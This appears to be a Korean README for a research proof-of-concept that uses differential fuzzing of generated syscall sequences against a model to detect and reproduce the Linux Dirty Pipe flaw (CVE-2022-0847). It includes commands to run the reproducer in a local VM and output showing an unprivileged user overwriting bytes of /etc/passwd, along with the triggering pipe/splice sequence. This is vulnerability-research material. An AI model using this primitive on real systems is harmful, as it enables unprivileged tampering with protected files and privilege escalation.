
시스템 콜을 무작위로 생성하고 모델에 대해 차등 퍼징(differential fuzzing)을 수행하여 CVE-2022-0847(dirty pipe)을 탐지/재현하기 위한 매우 조잡한 PoC입니다.
CVE-2022-0847(dirty pipe)의 단순한 탐지기이자 재현기입니다. 의도적으로 제한된 빌딩 블록/입력 값 집합에서 syscall 시퀀스/프로그램을 생성하는 간단한 생성기를 사용하며(생성만 수행, 고급 퍼징 없음, 변이 없음, 커버리지 안내 없음, 축소/최소화 없음), 모델과 실제 커널에서 각 동작의 반환 값을 비교하여(모델에 대한 차등 퍼징) 상태 기반 속성 테스트(stateful property based testing)에서 영감을 받은 비정상 동작을 탐지합니다.
면책 조항: 이 코드는 트리거링 최소 PoC를 생성하기 위해 빌딩 블록에 많은 매직 넘버/핵/내장 값을 사용합니다. 따라서 올바른 매개변수로 올바른 syscall 시퀀스를 현실적으로 생성하는 데 있어 실제로는 (절반만) 대표적입니다. 가능한 상태 공간 전체에 걸쳐 모든 매개변수를 무작위로 생성하는 것은 아마 훨씬 더 오래 걸릴 것입니다.
값이나 동작 선택이 PoC 자체에 대한 가정된 지식에 직접적인 영향을 받는 모든 위치(그리고 따라서 완전히 현실적인 PoC에서는 무작위로 찾아야 하는 위치)를 "MAGIC VALUE" 문자열로 표시하려고 했습니다.
이것은 매우 대략적인 개념 증명(proof-of-concept)으로 간주해야 합니다.
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux
# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"
# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:
# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
출력:
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 6f 6f 74 3a 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |root::0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34
thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
- [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
- [PipeFd { buf: [0], capacity: 65536 }]
- Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])
Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
$ # note that this poc is found practically instantly
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 00 00 00 00 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |r....:0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
이 PoC는 build-kernel-and-minimal-poc의 PoC와 약간 다릅니다. syscall의 순서가 버그에 실제로 영향을 주지 않는 방식으로 변경되었기 때문입니다.
이는 모델과 실제 SUT에 대해 명령을 lock-step 방식으로 실행하는 것이 이러한 상황도 올바르게 식별함을 보여줍니다.